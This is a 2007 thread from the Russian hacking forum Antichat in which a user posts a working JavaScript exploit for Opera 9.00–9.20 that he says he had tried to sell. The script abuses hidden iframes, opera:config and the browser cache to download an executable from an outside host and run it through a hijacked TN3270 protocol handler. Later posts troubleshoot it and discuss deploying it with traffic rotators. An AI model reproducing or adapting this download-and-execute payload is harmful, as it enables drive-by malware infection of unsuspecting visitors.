ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сплойт на Opera 9.00-9.20
  #1  
Старый 18.08.2007, 13:12
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию Сплойт на Opera 9.00-9.20

Решил выложить тот самый сплойт, который весной пытался продавать.
Код:
<script>
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
	("config_iframe = document.createElement('iframe');\
	config_iframe.setAttribute('id', 'config_iframe_window');\
	config_iframe.src = 'opera:config';\
	document.appendChild(config_iframe);\
	app_iframe = document.createElement('script');\
	cache_iframe = document.createElement('iframe');\
	app_iframe.src = 'http://v1k.jino-net.ru/1AAFD5A890CFC6/calc.exe';\
	app_iframe.onload = function ()\
	{\
		cache_iframe.src = 'opera:cache';\
		cache_iframe.onload = function ()\
		{\
			cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
			var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
			filename = cache.match(re);\
			config_iframe_window.eval\
			(\"\
			opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
			app_link = document.createElement('a');\
			app_link.setAttribute('href', 'tn3270://nothing');\
			app_link.click();\
			setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
			\");\
		};\
		document.appendChild(cache_iframe);\
	};\
	document.appendChild(app_iframe);");
</script>

Последний раз редактировалось V1k; 22.08.2007 в 13:51..
 
Ответить с цитированием

  #2  
Старый 18.08.2007, 14:57
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Но 1 вопрос... файл то загружается (не твой естесстно), но у меня почему-то не запускается...
Я ведь так понял он скачанный файл должен запустить???

Последний раз редактировалось ShadOS; 20.08.2007 в 10:05..
 
Ответить с цитированием

  #3  
Старый 18.08.2007, 15:05
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию

Ты бы сказал версию и билд.
Вместо файла открывается телнет?
Может ошибки какие JavaScript выдает?
 
Ответить с цитированием

  #4  
Старый 18.08.2007, 15:25
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

просто скачивает файл куда-то и типа страница загруженна и всё... никаких ошибок..
У меня:
Информация о версии
Версия
9.20
Сборка
8771
Платформа
Win32
Система
Windows XP
Java
Sun Java Runtime Environment version 1.2
XHTML+голос
Плагин не загружен

Последний раз редактировалось ShadOS; 20.08.2007 в 10:05..
 
Ответить с цитированием

  #5  
Старый 18.08.2007, 15:54
Аватар для inv
inv
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме:
951141

Репутация: 291
По умолчанию

спс стер адрес к телнету больше черз оперу он не загрузится)
уже 9.23 опера есть кстати..
 
Ответить с цитированием

  #7  
Старый 18.08.2007, 16:24
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Ну так погоди этот сплойт всё таки файл запускает или что делает???
А то есть смысл воткнуть его кое-куда..

Последний раз редактировалось ShadOS; 20.08.2007 в 10:06..
 
Ответить с цитированием

  #8  
Старый 18.08.2007, 18:04
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию

ну да, download&execute файла из `app_iframe.src`
подружится с любыми ротаторами=) но трафф для него нужен специфический
 
Ответить с цитированием

  #9  
Старый 19.08.2007, 22:26
Аватар для gibson
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

афтору респект давно искал сплойт под оперу, вот сейчас бы только в нем разобраться. Такая проблема запускаю его (опера 9.00 defolt) выскакивает сообщение что программа не найдена, в заголовке указывается пусть до js в папке с кеш'ю. Если переименовать его в exe, то прога скачаная запустится. В других версиях не пробовал. Если мож помоги разобраться с ним
 
Ответить с цитированием

  #10  
Старый 20.08.2007, 00:09
Аватар для Zliden
Zliden
Познающий
Регистрация: 07.02.2007
Сообщений: 39
Провел на форуме:
183700

Репутация: 73
По умолчанию

Цитата:
Сообщение от V1k  
ну да, download&execute файла из `app_iframe.src`
подружится с любыми ротаторами=) но трафф для него нужен специфический
Поясни по трафу плиз
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Opera 9.20 Final rijy Soft - Windows 6 11.04.2007 17:51
Выпущена Opera 9.20 Beta _GaLs_ Мировые новости 5 30.03.2007 11:51
NULL-byte баг в Opera 9.00 flipper Защита ОС: вирусы, антивирусы, файрволы. 7 01.03.2007 22:41
Последние обновления Opera Mini 3.0 Серый Схемы и программы 0 07.12.2006 15:10
Браузер Opera Mini доступен для свободной загрузки dinar_007 Мировые новости 4 25.01.2006 16:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ